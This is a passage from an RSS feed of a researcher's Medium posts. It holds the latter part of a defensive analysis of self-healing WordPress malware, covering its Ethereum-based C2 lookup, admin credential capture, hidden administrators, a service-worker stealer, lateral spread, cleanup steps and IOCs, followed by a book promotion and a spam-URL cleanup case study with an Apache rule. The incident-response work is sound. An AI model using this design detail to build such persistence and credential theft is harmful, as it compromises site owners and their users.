active theme’s </em><em>functions.php. Restoring only the plugin while retaining this block allows the theme to recreate it.</em></p><h3>Backups in ZIP, database, memory, and cache</h3><p>The main payload does not rely only on PHP implants:</p><ul><li>It writes ZIP archives containing &lt;plugin-slug&gt;/&lt;plugin-slug&gt;.php under wp-content, the current uploads year/month directory, and one writable theme.</li><li>It saves compressed source in a WordPress option and records path, size, and modification data in sc_persist_manifest.</li><li>Where the PHP extension is available, it stores the payload in System V shared memory. The key is derived with ftok(wp-config.php, &#39;s&#39;).</li><li>It creates hashed installers and loaders in cache and other writable locations, using temporary files and atomic rename/copy operations.</li><li>It invalidates OPcache entries after replacements so the newly restored code can be used promptly.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*MrSuN76jbxctTXXZ.png" /></figure><p><em>Figure 5 — A second </em><em>83af5c0a.zip in a writable theme directory. Searching only the top level of </em><em>wp-content would miss backup copies.</em></p><h3>Why names differ between affected sites</h3><p>Some names are deterministic hashes of the victim’s WordPress absolute path ( ABSPATH) plus a short role label. The code uses the first characters of an MD5 digest-not for security, but to create stable, site-specific names.</p><p>For the private site root used in this analysis (redacted), the calculations produce:</p><p>A different absolute path produces different hexadecimal names. The fake plugin slug can also vary. Within one site, the MU-plugin and ordinary-plugin copies retain the same basename so the loaders can locate and restore either replica. Defenders should hunt for behavior, markers, payload hashes, and C2 configuration-not only 59e2e230 or trace-scanner-lite.</p><h3>Command-and-control design</h3><p>The malware does not hard-code only one ordinary C2 domain. It treats Ethereum as a decentralized dead-drop resolver:</p><ol><li>It rotates through a list of public Ethereum JSON-RPC providers.</li><li>It issues eth_call with function selector 0x3bc5de30 against one of three embedded contract addresses.</li><li>It parses the contract response to obtain an XOR key and encrypted, newline-separated C2 URLs.</li><li>It posts XOR-obfuscated JSON to the resolved servers and remembers the last RPC provider that worked.</li></ol><p>Ethereum documents eth_call as a method that executes a contract call without creating a transaction: <a href="https://ethereum.org/developers/docs/apis/json-rpc/">Ethereum JSON-RPC API</a>. The public RPC services in the IOC list are legitimate shared infrastructure being abused as a resolver. Their appearance is supporting evidence only and is not a reason to label the providers malicious.</p><p>The outbound status data can include the domain, WordPress paths, payload version, installed and active plugins, MU plugins, the login URL, malware-created credentials, captured administrator credentials, generated auth cookies, and error information. The returned encrypted configuration can contain replacement PHP, plugin-deletion and injection-cleaning rules, JavaScript, service-worker content, and templates for the loader, guard, drop-ins, theme block, .htaccess, .user.ini, and installer.</p><p>Before installing a remotely supplied plugin update, the malware performs a token-level PHP syntax check and then replaces its payload atomically. It disables TLS certificate verification for its direct C2 requests, further reducing transport safety.</p><h3>Credential theft and concealed access</h3><p>The code demonstrates several independent ways to retain administrator access:</p><ul><li>It hooks WordPress authentication at a late priority. After a successful administrator login, it records the submitted plaintext password in a hidden option.</li><li>It creates a hidden administrator with a name beginning admin_, adm_, administrator_, or backup_, followed by ten lowercase hexadecimal characters. If normal WordPress APIs fail, it can insert the user and metadata directly into the database.</li><li>It filters user queries, REST results, counts, and admin notifications to conceal that account.</li><li>It generates fresh WordPress authentication and logged-in cookies for every existing administrator, with a 14-day expiry, and can send them to C2. The attacker therefore does not need to know each administrator’s password.</li><li>It suppresses selected new-user and login notifications that could alert the site owner.</li></ul><p>Changing one administrator password is not sufficient. All accounts, sessions, salts, hosting credentials, and other secrets exposed to the compromised environment must be treated as compromised.</p><h3>The administrator browser becomes another persistence layer</h3><p>The built-in service-worker template is 6,429 bytes with SHA-256:</p><p>7bafee00a010ed3db3521a89e8f5d50d2f677204c56995e99c7603768a9f0bd2</p><p>It can intercept POST submissions to wp-login.php, extract log and pwd, resolve C2 through the same Ethereum mechanism, encrypt the data, and post it to a /w endpoint. It can alter navigations to wp-admin, receive Base64 JavaScript and execute it, and attempt plugin reinstallation using an authenticated administrator&#39;s upload nonce and WordPress&#39;s plugin-upload route.</p><p>The malware sends Service-Worker-Allowed: / and registers scope /, allowing a worker delivered below the root to control a broader area when the browser accepts it. MDN documents the scope-expansion role of the <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Service-Worker-Allowed">Service-Worker-Allowed header</a>.</p><p>This means server cleanup alone may leave an administrator browser capable of leaking new credentials or helping reinstall the payload. Every browser/profile used to administer the site should have the site’s service worker unregistered and its site data cleared after the server has been cleaned.</p><h3>Scheduled recovery and remote maintenance</h3><p>The payload registers sc_cron_fetch on a custom 36,000-second interval (10 hours), initially scheduled roughly one to five minutes after installation. It also establishes another approximately hourly recovery event and can perform C2 work during shutdown after flushing the response. WordPress cron is traffic-driven: a due event executes when a visit occurs after its scheduled time. See <a href="https://developer.wordpress.org/reference/functions/wp_schedule_event/">wp_schedule_event()</a>.</p><p>The server can return dynamic rules telling the implant which plugins or injected snippets to remove. The code can deactivate or delete matching plugins and strip matching code from plugins, MU plugins, or themes. Because the actual regular expressions are delivered by C2 and were not present in the static files, the precise targets cannot be responsibly claimed from this sample.</p><h3>Lateral spread across a hosting account</h3><p>The malware scans parent directories, open_basedir roots, and common shared-hosting paths including /home, /var/www, /var/www/vhosts, /srv/www, and /srv/users. Within a limited depth and time budget, it looks for sibling directories containing wp-admin.</p><p>For a writable WordPress root, it places the payload in the target’s MU-plugin directory or ordinary plugin directory. In the latter case, it reads the sibling site’s wp-config.php to obtain DB_NAME and $table_prefix, then attempts to update that site&#39;s active_plugins value directly. Successful spreading is throttled for about three days; an unsuccessful scan can retry sooner.</p><p>This behavior explains how multiple sites under one shared Unix account can show the same malware without each site being independently exploited. It does not prove which site was patient zero.</p><h3>Obfuscation and anti-forensics</h3><p>The sample uses a large indexed string table, substitution decoding, random-looking function names, split strings, Base64/gzip payloads, fake plugin metadata, suppressed errors, and exception handling. It also uses advisory locks or transients to prevent its own workers from colliding.</p><p>More importantly, it manipulates timestamps. It can copy plausible timestamps from existing WordPress PHP files or backdate artifacts by roughly a year, then apply deterministic adjustments. The displayed “Last Modified” values in the screenshots cannot establish the infection date. This aligns with MITRE ATT&amp;CK’s description of <a href="https://attack.mitre.org/techniques/T1070/006/">Timestomp (T1070.006)</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*PlJ2o18C59KLxaxe.png" /></figure><p><em>Figure 6 — A second directory capture corroborates the same loader, drop-in, and backup pattern. Its displayed dates should be treated as presentation metadata, not a reliable compromise timeline.</em></p><h3>Database persistence confirmed in the recovered site</h3><p>Read-only database queries performed after the static file analysis confirmed that the database was an active part of this persistence mesh. The results were collected directly from the WordPress options table using its site-specific prefix. Complete option values are withheld because they can contain payloads, credentials, cookies, paths, or other sensitive incident data.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*E-4HNj7a2vn8Tr-a.png" /></figure><p><em>Figure 7 — The query returned six stable </em><em>sc_* options and nine SC transients or timeout rows. The largest confirmed row was </em><em>sc_payload_persistent at 257,408 bytes.</em></p><p>The confirmed option rows were:</p><p>The exact names, their grouping, and the large payload row directly corroborate the database behavior implemented in the recovered PHP. They are much stronger evidence than a generic large-option search.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*TXJa-E7V6ts4XFj0.png" /></figure><p><em>Figure 8 — The transient-specific query isolated administrator-tick, payload, spread, guard, and recovery records. </em><em>_transient_sc_payload_t contained 193,053 bytes.</em></p><p>The transient and timeout pairs show that the malware used WordPress’s temporary option mechanism for more than scheduling flags. In this capture, one transient held another large payload-sized value. The associated timeout row was only 10 bytes, consistent with WordPress storing transient expiration separately.</p><h3>Point-in-time cron finding</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*QxV8HMFYrEcoLZDW.png" /></figure><p><em>Figure 9 — The serialized WordPress cron option was 8,091 bytes, but the exact </em><em>sc_cron_fetch string was not present when queried.</em></p><p>This is a bounded negative result. It shows only that the known hook was absent from that row at the time of capture. It does not contradict the scheduling logic in the recovered code, establish that the hook was never registered, or exclude a renamed or separately implemented event.</p><h3>Large hexadecimal option names require validation</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*xw2230S4zdtnW03H.png" /></figure><p><em>Figure 10 — The largest-options view showed the confirmed SC payload rows alongside </em><em>60909f14f4a5 at 261,136 bytes, </em><em>ce9ccf62d5c0 at 151,112 bytes, and </em><em>c9fe246a17 at 76,112 bytes.</em></p><p>The first two hexadecimal rows had option IDs interleaved with the confirmed sc_* records, making them high-priority investigation candidates. The screenshot does <strong>not</strong> prove that any of the three is malicious. Legitimate plugins can also store large values under generated names, and the displayed size or hexadecimal format is not a safe deletion criterion.</p><p>The previously calculated database-option name 8aeb646ca5 came from the recovered code&#39;s site-path formula. It was not returned in this database capture, and this report does not claim that one of the newly observed hexadecimal options is equivalent to it. Across other sites, responders should first hunt stable SC markers, then export and validate each site-specific candidate through ownership checks, safe offline decoding, manifest references, neighboring option IDs, and decoded-payload hashes. Hexadecimal names from one victim must never become a universal deletion list.</p><h3>Generated administrator pattern not observed</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*KbFnmCp-lj6XwoBY.png" /></figure><p><em>Figure 11 — No username matched </em><em>admin_, </em><em>adm_, </em><em>administrator_, or </em><em>backup_ followed by ten lowercase hexadecimal characters.</em></p><p>This second negative result does not clear the user table. The malware can change, an operator can choose an ordinary-looking username, or an account may already have been removed. Responders must still list every database-level administrator by capabilities metadata and verify each account with the site owner.</p><h3>What the samples do-and do not-reveal about initial access</h3><p>The recovered code proves persistence, credential theft, C2, defense evasion, browser compromise, and lateral spread. It does <strong>not</strong> contain reliable evidence of the first exploit used against the original hosting account.</p><p>Reasonable hypotheses include:</p><ul><li>a vulnerable or malicious plugin/theme;</li><li>a stolen WordPress administrator or hosting-control-panel credential;</li><li>compromised SFTP, FTP, SSH, deployment, or developer credentials;</li><li>a writable file-manager flaw; or</li><li>lateral spread from another compromised WordPress installation under the same operating-system user.</li></ul><p>The malware contains file-manager hiding logic, but that is post-compromise evasion and is not proof that a file-manager plugin was the entry point. To determine initial access, correlate the earliest clean and infected backups with raw HTTP access/error logs, WAF records, control-panel audit logs, SFTP/FTP/SSH logs, database audit data, WordPress audit logs, and browser history. Because the files are timestomped, prioritize server and provider logs over filesystem modification times.</p><h3>Incident-response and cleanup procedure</h3><p>Do not clean this infection by deleting files one at a time on a live site. That gives the surviving components an opportunity to recreate them.</p><h3>1. Preserve evidence and contain execution</h3><ol><li>Take a filesystem and database snapshot before changing anything. Preserve access, error, WAF, control-panel, SFTP/FTP/SSH, and database logs outside the compromised account.</li><li>Put the site behind a static maintenance response or isolate the virtual host. Stop or restart its PHP-FPM pool/web workers as part of the maintenance window so cached .user.ini, OPcache, and process-resident shared memory are not left active.</li><li>Do not sign in from a normal administrator browser until that browser’s service-worker state is addressed.</li><li>Identify every site running as the same operating-system user. Treat all writable sibling sites as in scope.</li></ol><h3>2. Remove every recovery source in one coordinated pass</h3><ol><li>Remove the malicious normal and MU-plugin copies.</li><li>Remove both the visible and hidden hashed loaders, plus malicious auto_prepend_file directives in .user.ini, .htaccess, virtual-host, or pool configuration.</li><li>Replace advanced-cache.php and db.php with known-clean versions from their legitimate product, or remove them only after confirming the site does not require the drop-in.</li><li>Restore infected theme files from a trusted source or remove the exact marked block after a careful diff. Inspect inactive themes too.</li><li>Find and remove the malicious ZIP copies from wp-content, uploads, and theme directories.</li><li>Find hashed installers, service-worker scripts, .g_*.php guards, and PHP files in cache/upload directories. Do not assume that every hexadecimal filename is malicious; validate content and hashes.</li><li>Remove malicious WordPress options, transients, and cron hooks, including stored payloads, manifests, C2 state, and captured credentials. Export and review them before deletion when possible.</li><li>Clear the implant’s System V shared-memory segment or restart the isolated PHP/web environment in a way that destroys it. Clear OPcache after clean files are in place.</li><li>Rebuild WordPress core, plugins, and themes from verified vendor packages. Diff and separately restore only reviewed custom code and uploads.</li></ol><h3>3. Revoke access and recover securely</h3><ol><li>Remove unknown administrator accounts, especially the generated prefix patterns described above. Verify users directly in the database as well as through wp-admin.</li><li>Rotate every WordPress password, WordPress salts/keys, hosting and control-panel credentials, SSH/SFTP/FTP credentials, database password, deployment tokens, SMTP credentials, and API keys available to the compromised site.</li><li>Destroy all WordPress sessions. WP-CLI provides <a href="https://developer.wordpress.org/cli/commands/user/session/destroy/">wp user session destroy</a> for this purpose.</li><li>From every administrator device and browser profile, unregister the site’s service worker and clear cookies, caches, IndexedDB, Cache Storage, and other site data. Then sign in only after server cleanup and credential rotation.</li><li>Reinstall security and monitoring controls from clean sources, verify outbound network policy, and monitor filesystem changes, new administrators, scheduled events, service-worker endpoints, and egress to the indicators below.</li><li>Where possible, isolate unrelated sites under separate operating-system users and PHP pools. Restrict the web-server account’s write access to code, allowing only the directories that genuinely require it.</li></ol><h3>Detection and hunting guidance</h3><p>High-value content indicators include:</p><p>Hunt all sites owned by the account, not only the site where the first file was noticed. Examine:</p><ul><li>wp-content/mu-plugins, ordinary plugins, advanced-cache.php, db.php, and active/inactive theme functions.php files;</li><li>document-root, wp-content, and parent .user.ini/.htaccess files, plus PHP-FPM/vhost configuration;</li><li>ZIP files under wp-content, uploads, and themes;</li><li>unexpected PHP in cache or uploads, files beginning .g_, and short hexadecimal filenames;</li><li>WordPress options, transients, cron arrays, user/user-meta tables, and unknown administrators;</li><li>outbound JSON-RPC POSTs containing eth_call and selector 0x3bc5de30; and</li><li>administrator browsers under Developer Tools → Application → Service Workers, especially a worker with scope /.</li></ul><p>The exact filename 59e2e230.php is <strong>sample-specific</strong> because it depends on ABSPATH. Contract addresses and the selector are stronger family indicators. Public Ethereum RPC URLs are low-confidence network indicators because unrelated legitimate software uses them.</p><p>The higher-confidence content, hash, and protocol indicators are listed below. None requires a particular fake plugin name.</p><h3>MITRE ATT&amp;CK mapping</h3><p>This is an approximate defensive mapping, not a claim that every enterprise ATT&amp;CK scenario applies directly to WordPress:</p><h3>Indicators of compromise</h3><h3>SHA-256 hashes</h3><p>hidden .59e2e230.php (downloaded as 59e2e230.php)</p><p>5e0634b36af4fab6931e3efc120e5baee1953f32f14a516cbc4c927786d4309c</p><p>visible 59e2e230.php wrapper (downloaded as 59e2e230 (1).php)</p><p>96d36f0432295b0a833e6d835c8f3100f900ace2f08f0584ea0d2a83e7df8b82</p><p>extracted service-worker template</p><p>7bafee00a010ed3db3521a89e8f5d50d2f677204c56995e99c7603768a9f0bd2</p><h3>Ethereum contract and protocol indicators</h3><pre>0x9A4752cAA1C15868487A0ACb691F81bfA901E063 0x839d1cE5c3F259e8d3D17114d7186EDabdbeA94b 0x6d2c5435EF70196740a48904B69377935D50abBB eth_call selector: 0x3bc5de30</pre><p>The full RPC endpoint list, sample-specific names, markers, hashes, and context are in iocs.csv.</p><h3>Confidence, limitations, and attribution</h3><p>Confidence is high for the persistence relationships, exact embedded-payload equality, credential theft, browser service-worker behavior, Ethereum resolver, and sibling-site spreading because each is directly implemented in the recovered code. Confidence is low for the initial-access method because the necessary historical logs and earliest artifacts were not part of this sample set.</p><p>I refer to this cluster provisionally as <strong>SC 4.0.3 self-healing WordPress malware</strong> because the internal markers are more stable than the attacker-selected plugin identity. <strong>Trace Scanner Lite is one observed alias, not the family name.</strong> The versioning may itself be campaign metadata rather than a formal malware-family designation. I make no attribution to an individual or organization.</p><p>During this analysis I found independent August 2026 reporting describing the same SC 4.0.3 marker scheme and Ethereum bootstrap. Those reports corroborate the broader campaign but do not reveal the initial access for this particular site: <a href="https://www.monarx.com/press-news/the-wordpress-infection-that-rebuilds-itself-faster-than-you-can-delete-it">Monarx analysis</a> and <a href="https://www.sevenlabs.site/case-studies/wordpress-malware-removal-edu-gov-sc">Seven Labs case study</a>.</p><h3>Conclusion</h3><p>The defining feature of this infection is not any single file. It is the redundancy between PHP startup configuration, WordPress MU plugins and drop-ins, a normal plugin, theme code, ZIP archives, the database, process memory, scheduled jobs, and administrator browsers. Each deletion that leaves one trusted execution path intact gives the malware a chance to rebuild.</p><p>The correct response is therefore coordinated eradication under execution containment, followed by complete credential and session revocation, browser cleanup, clean-source rebuilding, sibling-site inspection, and monitoring. The fact that temporarily renaming wp-content stopped the immediate regeneration was not a coincidence-it interrupted the paths connecting the persistence mesh. The permanent fix is to remove every node and close the original access route once log analysis identifies it.</p><p><em>Originally published at </em><a href="https://www.mdpabel.com/malware-research/sc-403-self-healing-wordpress-malware/"><em>https://www.mdpabel.com</em></a><em> on August 22, 2026.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=759a3aa3c389" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[WordPress Malware Removal for Developers & Site Owners: A Book Built From Real Cleanup Cases]]></title>
            <link>https://mdpabeldev.medium.com/wordpress-malware-removal-for-developers-site-owners-a-book-built-from-real-cleanup-cases-9c7b8d6904dc?source=rss-8cf1114a8130------2</link>
            <guid isPermaLink="false">https://medium.com/p/9c7b8d6904dc</guid>
            <dc:creator><![CDATA[MD Pabel]]></dc:creator>
            <pubDate>Mon, 17 Aug 2026 21:48:38 GMT</pubDate>
            <atom:updated>2026-08-17T21:49:25.153Z</atom:updated>
            <content:encoded><![CDATA[<h3>Why I’m turning years of WordPress malware investigations into a practical guide based on evidence, real incidents, and recovery experience.</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rJGxR2RUVUyvu3y4U9IlGQ.png" /></figure><p>A WordPress site can look completely normal and still be compromised.</p><p>I learned this again and again while working on hacked websites.</p><p>In one case, the site owner opened the website from a desktop computer and everything looked fine.</p><p>But mobile visitors were being redirected to another website.</p><p>Both observations were correct.</p><p>The malicious behavior was only triggered for certain visitors.</p><p>That is one of the reasons I started writing <strong>WordPress Malware Removal for Developers &amp; Site Owners</strong>.</p><p>This is not meant to be another WordPress security book that says:</p><blockquote><em>Run a scanner.<br>Update everything.<br>Change the passwords.<br>Install a security plugin.</em></blockquote><p>Those steps may be useful, but they do not answer the most important questions:</p><p><strong>What actually happened?</strong></p><p><strong>What changed?</strong></p><p><strong>What else was affected?</strong></p><p><strong>How does the malicious behavior work?</strong></p><p><strong>And what could make the infection return after cleanup?</strong></p><h3>Why I’m Writing This Book</h3><p>I have been working with WordPress websites since 2018 through freelance marketplaces, agencies, direct client work, and my own company, 3Zero Digital.</p><p>During that time, I have investigated and cleaned more than <strong>4,500 hacked WordPress sites</strong>.</p><p>The problems were rarely identical.</p><p>I have worked on cases involving:</p><ul><li>malicious redirects</li><li>infected WordPress files</li><li>database injections</li><li>hidden administrators</li><li>fake plugins</li><li>SEO spam</li><li>compromised hosting accounts</li><li>DNS changes</li><li>persistent reinfections</li><li>suspicious WooCommerce checkout behavior</li><li>malware that behaved differently depending on the visitor</li></ul><p>Over time, I noticed something important:</p><p><strong>Finding malware is not the same as understanding what happened.</strong></p><p>You can find a malicious PHP file and still not know who created it.</p><p>You can remove a redirect and still leave the mechanism that restores it.</p><p>You can clean WordPress while the real problem exists in hosting, DNS, cron, another website in the same account, or a compromised administrator.</p><p>That difference between <strong>finding malware</strong> and <strong>investigating the incident</strong> became the foundation of this book.</p><h3>Start With the Symptom, Not the Word “Malware”</h3><p>One of the first ideas in Chapter 1 is very simple:</p><p><strong>“Hacked” is a conclusion. The symptom is what you actually observed.</strong></p><p>Maybe:</p><ul><li>the website redirects</li><li>the screen is blank</li><li>Google shows pages nobody created</li><li>an administrator is missing</li><li>checkout behaves differently</li><li>visitors see a warning</li><li>malware returns after being removed</li></ul><p>Those are observations.</p><p>They are not diagnoses.</p><p>A blank WordPress site, for example, can be caused by malware.</p><p>But it can also be caused by an ordinary PHP error, a broken theme, a plugin conflict, or a failed update.</p><p>I have investigated real cases where almost the same visible symptom led to completely different conclusions.</p><p>That is why the book starts with evidence rather than assumptions.</p><h3>A Site Looking Normal Does Not Prove It Is Clean</h3><p>Website owners naturally test their own website from the browser they use every day.</p><p>But that can be one of the weakest tests.</p><p>A compromised website may behave differently depending on:</p><ul><li>desktop or mobile</li><li>logged-in or logged-out visitor</li><li>first visit or returning visit</li><li>direct visit or Google search result</li><li>cookies</li><li>referrer</li><li>network</li><li>geographic condition</li></ul><p>Malware may deliberately avoid showing itself to administrators.</p><p>That means:</p><p><strong>A site looking normal to you does not prove that it is clean.</strong></p><p>Sometimes you need to see the website the way different visitors see it.</p><p>You may also need to look beyond the browser.</p><p>Page Source can show one thing.</p><p>The Network panel can show another.</p><p>The WordPress database may contain something the dashboard does not show.</p><p>Logs may reveal requests that explain when the behavior started.</p><p>DNS may route visitors somewhere unexpected before WordPress even runs.</p><p>Each view gives you part of the incident.</p><p>None of them is the whole website.</p><h3>What’s Inside WordPress Malware Removal for Developers &amp; Site Owners</h3><p>The book is planned as a <strong>16-chapter practical guide</strong>:</p><p><strong>01 — Is the WordPress Site Actually Hacked?</strong></p><p><strong>02 — How Does a WordPress Site Get Hacked?</strong></p><p><strong>03 — What to Do Before Cleaning Malware</strong></p><p><strong>04 — Find What Else Is Infected</strong></p><p><strong>05 — Remove Malware from WordPress Files</strong></p><p><strong>06 — Remove Malware from the WordPress Database</strong></p><p><strong>07 — Clean the Hosting Account, Server, and DNS</strong></p><p><strong>08 — Find and Remove WordPress Redirect Malware</strong></p><p><strong>09 — Remove WordPress SEO Spam and Hacked URLs From Google</strong></p><p><strong>10 — Find and Remove Fake WordPress Plugins and Themes</strong></p><p><strong>11 — Remove Unwanted and Hidden WordPress Administrators</strong></p><p><strong>12 — Find and Remove WooCommerce Credit-Card Skimming Malware</strong></p><p><strong>13 — Hosting and Domain Suspension Removal</strong></p><p><strong>14 — Blacklist Removal</strong></p><p><strong>15 — Stop Malware from Coming Back</strong></p><p><strong>16 — Secure and Monitor a Recovered Site</strong></p><p>The idea is to follow the incident from the first suspicious symptom through investigation, cleanup, recovery, and monitoring.</p><h3>Real Cases, Not Just Theory</h3><p>I want the examples in the book to reflect what actually happens during WordPress malware cleanup.</p><p>That means looking at evidence across:</p><ul><li>WordPress core files</li><li>plugins and themes</li><li>uploads</li><li>MU plugins</li><li>database records</li><li>users and capabilities</li><li>browser requests</li><li>server logs</li><li>scheduled tasks</li><li>hosting configuration</li><li>DNS and CDN</li><li>Google search results</li><li>WooCommerce checkout pages</li></ul><p>It also means being careful about what the evidence really proves.</p><p>For example, finding suspicious code that contacts a remote server does not automatically prove that payment information was stolen.</p><p>Finding a malicious file does not automatically reveal the original entry point.</p><p>A scanner result can be useful evidence.</p><p>It is not automatically the final verdict.</p><p>I think these distinctions matter, especially when developers and site owners are trying to recover a compromised website without making the situation worse.</p><h3>The Book Is Now in Early Access</h3><p><strong>WordPress Malware Removal for Developers &amp; Site Owners</strong> is now available in <strong>Early Access on Leanpub</strong>.</p><p>The book is being published progressively as the remaining chapters are completed.</p><p>If you want to see the approach before buying, <strong>Chapter 1 is available as a free sample</strong>.</p><p>Early Access readers buy once and receive the future chapters and updates to this edition as they are released.</p><h3>Read Chapter 1 free or get Early Access</h3><p><a href="https://leanpub.com/wordpressmalwareremovalfordeveloperssiteowners">https://leanpub.com/wordpressmalwareremovalfordeveloperssiteowners</a></p><p>I’m writing this book for WordPress developers, site owners, agencies, hosting professionals, and anyone who has ever cleaned a compromised WordPress site and wondered:</p><p><strong>“Did I actually fix the incident, or did I only remove what I could see?”</strong></p><p>That is the question I want this book to help answer.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9c7b8d6904dc" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[I Did Not Remove 242,000 Spam URLs One by One]]></title>
            <link>https://mdpabeldev.medium.com/i-did-not-remove-242-000-spam-urls-one-by-one-0ac66ac87ae7?source=rss-8cf1114a8130------2</link>
            <guid isPermaLink="false">https://medium.com/p/0ac66ac87ae7</guid>
            <dc:creator><![CDATA[MD Pabel]]></dc:creator>
            <pubDate>Wed, 22 Jul 2026 10:26:01 GMT</pubDate>
            <atom:updated>2026-07-22T10:26:01.604Z</atom:updated>
            <content:encoded><![CDATA[<p>When a WordPress website has hundreds of thousands of hacked URLs in Google, the number can make the recovery look impossible.</p><p>In one case, approximately 242,000 unwanted URL variations were connected to a compromised website.</p><p>At first glance, it sounded like a cleanup involving 242,000 separate pages.</p><p>It was not.</p><p>The real problem was a small group of patterns capable of producing thousands of different URLs.</p><p>That changed the entire approach.</p><h3>Large SEO spam attacks are often pattern-based</h3><p>Malware does not always create a new WordPress post for every URL.</p><p>It may generate pages dynamically based on:</p><ul><li>a query parameter;</li><li>a numerical value;</li><li>a directory name;</li><li>a filename;</li><li>a keyword inside the path.</li></ul><p>Examples might include:</p><pre>/?a=839472938<br>/?q=739284729<br>/?p=23932<br>/jp/random-product/<br>/pages/item-name.html<br>/products/23860</pre><p>The number changes, but the underlying structure stays the same.</p><p>Instead of treating every URL as a separate problem, I asked:</p><ul><li>Which part of the URL repeats?</li><li>Which parameters are used?</li><li>Are the values always numbers?</li><li>Do they fall into a specific range?</li><li>Are the directories legitimate?</li><li>Does the real website use .html URLs?</li><li>Are the same paths still being requested in server logs?</li></ul><h3>Collecting enough data</h3><p>I did not rely on one tool.</p><p>I collected examples from:</p><ul><li>Google Search results;</li><li>the Search Console Pages report;</li><li>search-performance exports;</li><li>server logs;</li><li>suspicious XML sitemaps;</li><li>malware files and rewrite rules.</li></ul><p>Each source answered a different question.</p><p>Search results showed what users could see.</p><p>Search Console showed URLs and queries Google had encountered.</p><p>Logs showed which requests were still reaching the server.</p><p>The malware investigation showed how the URLs were generated.</p><h3>Turning individual URLs into groups</h3><p>After exporting the data, I grouped the URLs.</p><p>One group contained large values attached to a.</p><pre>?a=839472938<br>?a=284729384<br>?a=739284729</pre><p>Another used q.</p><pre>?q=98237492<br>?q=27384923<br>?q=8374928Another appeared in dedicated directories.</pre><pre>/jp/<br>/pages/<br>/products/</pre><p>Some contained commercial spam words.</p><pre>casino<br>poker<br>viagra<br>jackpot</pre><p>Once the groups were visible, the number 242,000 became less important.</p><p>The more useful question was:</p><blockquote><em>How many confirmed patterns are generating those URLs?</em></blockquote><h3>Why precise matching matters</h3><p>It would have been easy to block every single-letter query parameter.</p><p>It also would have been dangerous.</p><p>WordPress itself uses legitimate query parameters.</p><p>For example:</p><pre>?p=123<br>?s=security</pre><p>Plugins and custom applications may use many others.</p><p>A broad rule could break:</p><ul><li>real posts;</li><li>search pages;</li><li>product filters;</li><li>tracking;</li><li>forms;</li><li>integrations.</li></ul><p>I therefore created rules only after checking how the legitimate site behaved.</p><p>For suspicious ?p= values, I checked the corresponding WordPress post IDs in the database before blocking any range.</p><p>The rule needed to match the malware without matching the website.</p><h3>Why pattern handling was better than manual removal</h3><p>Manual removal has several limitations.</p><h3>It does not scale</h3><p>Submitting thousands of individual removal requests takes too long.</p><h3>It misses new variations</h3><p>If the malware pattern produces a new number, the manually submitted list becomes incomplete.</p><h3>It does not reduce server processing</h3><p>Bots can continue requesting old and new variations.</p><h3>It does not explain the infection</h3><p>The URL list is a symptom. The generating mechanism is the real problem.</p><p>Pattern-based handling allowed the server to respond consistently even when a specific URL had never been added to a spreadsheet.</p><h3>Returning 410 before WordPress loaded</h3><p>For confirmed malicious patterns, I configured Apache to return 410 Gone.</p><p>A simplified example:</p><pre>RewriteCond %{QUERY_STRING} (^|&amp;)(?:a|q)=[0-9]{8,}(&amp;|$) [NC]<br>RewriteRule ^ - [G,L]</pre><p>The rule says:</p><ul><li>check the query string;</li><li>match only a or q;</li><li>require a long numerical value;</li><li>return 410;</li><li>stop processing the request.</li></ul><p>The real implementation included several carefully tested path and parameter patterns.</p><p>Because Apache handled the request early, WordPress did not need to load for every known spam URL.</p><h3>Search Console still had a role</h3><p>Server rules handled the permanent response.</p><p>Google Search Console helped with urgent visibility.</p><p>For an individual result, I could submit a specific temporary removal request.</p><p>For a completely malicious directory, prefix removal could hide the whole group temporarily.</p><p>But Search Console was not the permanent fix.</p><p>The permanent fix was that Googlebot eventually revisited the URLs and received 410.</p><h3>The sitemap was rebuilt around the real website</h3><p>The normal sitemap was cleaned and regenerated.</p><p>It contained only pages that belonged to the website and were intended to appear in Google.</p><p>The spam URL patterns were not included.</p><p>This gave Google a cleaner picture of the real site structure while the old hacked URLs were being recrawled and removed.</p><h3>The same method can be used for other spam campaigns</h3><p>The exact patterns vary between incidents.</p><p>One site may have Japanese shopping URLs.</p><p>Another may have:</p><ul><li>gambling pages;</li><li>pharmaceutical spam;</li><li>fake PDF URLs;</li><li>adult-content paths;</li><li>generated subdirectories;</li><li>fake product pages;</li><li>random query-string combinations.</li></ul><p>The method remains similar:</p><ol><li>Clean the malware.</li><li>Collect representative URLs.</li><li>Group them by structure.</li><li>Verify which groups are malicious.</li><li>Create narrow removal rules.</li><li>Test legitimate functionality.</li><li>Monitor logs and Search Console.</li></ol><h3>The real lesson</h3><p>The cleanup was not successful because I worked through 242,000 rows individually.</p><p>It was successful because the URLs were reduced to a manageable set of verified patterns.</p><p>Large numbers often make security incidents look more complex than they really are.</p><p>The number of visible URLs may be huge, while the number of underlying mechanisms is much smaller.</p><p>I documented the complete cleanup — including the malware investigation, Search Console removals, server rules, sitemap work, and monitoring — in this case study:</p><p><a href="https://www.mdpabel.com/case-studies/remove-spam-urls-from-google/?utm_source=chatgpt.com">How I removed 242,000 spam URLs from Google</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=0ac66ac87ae7" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Your WordPress Site Is Clean, but Google Still Shows Spam Pages]]></title>
            <link>https://mdpabeldev.medium.com/your-wordpress-site-is-clean-but-google-still-shows-spam-pages-eaa38339fdac?source=rss-8cf1114a8130------2</link>
            <guid isPermaLink="false">https://medium.com/p/eaa38339fdac</guid>
